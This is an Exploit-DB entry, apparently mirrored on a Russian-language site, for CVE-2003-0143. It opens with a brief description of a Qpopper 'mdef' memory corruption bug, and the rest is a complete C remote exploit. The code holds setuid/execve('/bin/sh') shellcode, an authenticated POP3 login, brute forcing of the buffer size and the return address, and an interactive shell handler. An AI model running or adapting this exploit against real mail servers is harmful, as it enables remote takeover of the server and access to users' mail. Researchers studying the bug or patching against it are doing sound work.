- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 22342
- Проверка EDB
-
- Пройдено
- Автор
- FLORIAN HEINZ
- Тип уязвимости
- REMOTE
- Платформа
- LINUX
- CVE
- cve-2003-0143
- Дата публикации
- 2003-03-10
C:
// source: https://www.securityfocus.com/bid/7058/info
A memory corruption vulnerability has been discovered in Qpopper version 4.0.4 and earlier.
The vulnerability occurs when calling the 'mdef' command and a malicious macro name is supplied. By filling a target buffer with a malicious macro name it may be possible to trigger a procedure that would cause sensitive memory to be corrupted. The problem occurs due to the lack of NULL termination by the Qvsnprintf() function.
Successful exploitation of this issue may allow a remote attacker to execute arbitrary commands with the privileges of the Qpopper service.
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
char shellcode[] =
"\x31\xc0" /* xor %eax, %eax */
"\x31\xdb" /* xor %ebx, %ebx */
"\xb0\x17" /* mov $0x17, %al */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax, %eax */
"\x50" /* push %eax */
"\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */
"\x89\xe3" /* mov %esp,%ebx */
"\x50" /* push %eax */
"\x53" /* push %ebx */
"\x89\xe1" /* mov %esp,%ecx */
"\x31\xd2" /* xor %edx,%edx */
"\xb0\x08" /* mov $0x8,%al */
"\x40\x40\x40" /* inc %eax (3 times) */
"\xcd\x80"; /* int $0x80 */
#define BUFLEN 1006
#define RETLEN 148
#define RETADDR 0xbfffc004
void
shell_io (fd)
int fd;
{
fd_set fs;
char buf[1000];
int len;
while (1)
{
FD_ZERO(&fs);
FD_SET(0, &fs);
FD_SET(fd, &fs);
select(fd+1, &fs, NULL, NULL, NULL);
if (FD_ISSET(0, &fs))
{
if ((len = read(0, buf, 1000)) <= 0)
break;
write(fd, buf, len);
}
else
{
if ((len = read(fd, buf, 1000)) <= 0)
break;
write(1, buf, len);
}
}
}
void
send_mdef (fd, buflen, retaddr, rashift)
int fd, buflen, rashift;
unsigned int retaddr;
{
char buf[2000], *bp;
int i;
memset(buf, 0x90, 2000);
memcpy(buf, "mdef ", 5);
memcpy(buf + buflen - RETLEN - strlen(shellcode),
shellcode, strlen(shellcode));
bp = (char *) (((unsigned int)(buf + buflen - RETLEN)) & 0xfffffffc);
for (i = 0; i < RETLEN; i += 4)
memcpy(bp+i+rashift, &retaddr, sizeof(int));
buf[buflen-2] = '(';
buf[buflen-1] = ')';
buf[buflen] = '\n';
write(fd, buf, buflen+1);
return;
}
int get_pop_reply (int fd, char *buf, int buflen)
{
int len;
fd_set s;
struct timeval tv;
len = read (fd, buf, buflen);
FD_ZERO(&s);
FD_SET(fd, &s);
tv.tv_sec = tv.tv_usec = 0;
select(fd+1, &s, NULL, NULL, &tv);
if (FD_ISSET(fd, &s))
len = read (fd, buf, buflen);
if (len == 0)
return 0;
else if (!strncmp(buf, "-ERR ", 5))
return -1;
else
return len;
}
int
open_pop(ip, user, pass)
unsigned int ip;
char *user, *pass;
{
struct sockaddr_in peer;
int fd, st = 0;
char buf[1024];
int state = 0;
peer.sin_family = AF_INET;
peer.sin_port = htons(110);
peer.sin_addr.s_addr = ip;
fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0)
{
perror("socket");
exit(EXIT_FAILURE);
}
printf("Connecting to %s... ", inet_ntoa(peer.sin_addr));
fflush(stdout);
if (connect(fd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0)
{
perror("connect");
exit(EXIT_FAILURE);
}
printf("Logging in... ");
fflush(stdout);
while ((state < 3) && ((st = read(fd, buf, 1024)) > 0))
{
if (!strncmp(buf, "+OK ", 4))
{
switch (state)
{
case 0:
snprintf(buf, 1024, "USER %s\n", user);
write(fd, buf, strlen(buf));
state++;
break;
case 1:
snprintf(buf, 1024, "PASS %s\n", pass);
write(fd, buf, strlen(buf));
state++;
break;
case 2:
state++;
break;
}
}
else if (!strncmp(buf, "-ERR ", 5))
{
fprintf(stderr, "Could not log in. Did you provide a valid "
"username/password-combination?\n");
break;
}
else
{
fprintf(stderr, "Invalid response from POP-Server:\n'%s'\n",
buf);
break;
}
}
if (state < 3)
{
fprintf(stderr, "Exiting due to error...\n");
exit(EXIT_FAILURE);
}
else if (st < 0)
{
perror("read");
exit(EXIT_FAILURE);
}
else if (st == 0)
{
fprintf(stderr, "Peer closed...\n");
exit(EXIT_FAILURE);
}
return fd;
}
int
main (argc, argv)
int argc;
char *argv[];
{
char *host, *user, *pass;
struct hostent *he;
struct in_addr in;
unsigned int ip, retaddr;
int fd = -1, lbs, bs, ubs, found = 0, st;
char buf[2000];
if (4 != argc)
{
fprintf(stderr, "Usage: %s <host> <user> <pass>\n\n", argv[0]);
exit(EXIT_FAILURE);
}
host = argv[1];
user = argv[2];
pass = argv[3];
if (!inet_aton(host, &in))
{
if (!(he = gethostbyname(host)))
{
herror("Resolving host");
exit(EXIT_FAILURE);
}
in.s_addr = *((unsigned int *)he->h_addr);
}
ip = in.s_addr;
printf("Phase 1: Seeking buffer size\n");
lbs = 0;
bs = BUFLEN;
ubs = 2000;
while (!found && (bs != lbs) && (bs != ubs))
{
if (fd < 0)
fd = open_pop(ip, user, pass);
printf("Trying %d bytes... ", bs);
fflush(stdout);
send_mdef(fd, bs, 0x01010101, 0);
sleep(1);
switch ((st = get_pop_reply(fd, buf, 2000)))
{
case 0:
found++;
close(fd);
fd = -1;
break;
case -1:
printf("too long.\n");
ubs = bs;
bs = (lbs+ubs)/2;
break;
default:
if (st < bs)
{
printf("(slightly) too long.\n");
ubs = bs;
bs = (lbs+ubs)/2;
break;
}
else
{
printf("too short.\n");
lbs = bs;
bs = (lbs+ubs)/2;
break;
}
}
}
if (!found)
{
printf("Couldn't find correct buffersize...\n");
exit(EXIT_FAILURE);
}
printf("crash.\n");
while (found)
{
bs--;
if (fd < 0)
fd = open_pop(ip, user, pass);
printf("Trying %d bytes... ", bs);
fflush(stdout);
send_mdef(fd, bs, 0x01010101, 0);
sleep(1);
if (get_pop_reply(fd, buf, 2000))
{
printf("no crash\n");
bs += 4;
bs = bs & 0xfffffffc;
found = 0;
}
else
{
fd = -1;
printf("crash\n");
}
}
printf("Optimal buffer size: %d\n\n", bs);
printf("Phase 2: Find return address\n");
found = 0;
retaddr = RETADDR;
while (!found)
{
if (fd < 0)
fd = open_pop(ip, user, pass);
printf("Trying %x... ", retaddr);
fflush(stdout);
send_mdef(fd, bs, retaddr, 2);
sleep(1);
if (get_pop_reply(fd, buf, 2000))
{
printf("no crash\n");
found = 1;
}
else
{
fd = -1;
retaddr += ((bs - RETLEN - 10 - strlen(shellcode)) & 0xffffff00);
printf("crash\n");
}
if (retaddr > 0xbfffff00)
break;
}
if (!found)
{
printf("Couldn't find a valid return address\n");
exit(EXIT_FAILURE);
}
write(fd, "uname -a\n", 9);
st = read(fd, buf, 100);
buf[st] = '\0';
if ((buf[0] != '-') && (buf[0] != '+'))
{
printf("We're in! (%s)\n", buf);
shell_io(fd);
}
else
printf("We failed...\n");
exit(EXIT_FAILURE);
}
- Источник
- www.exploit-db.com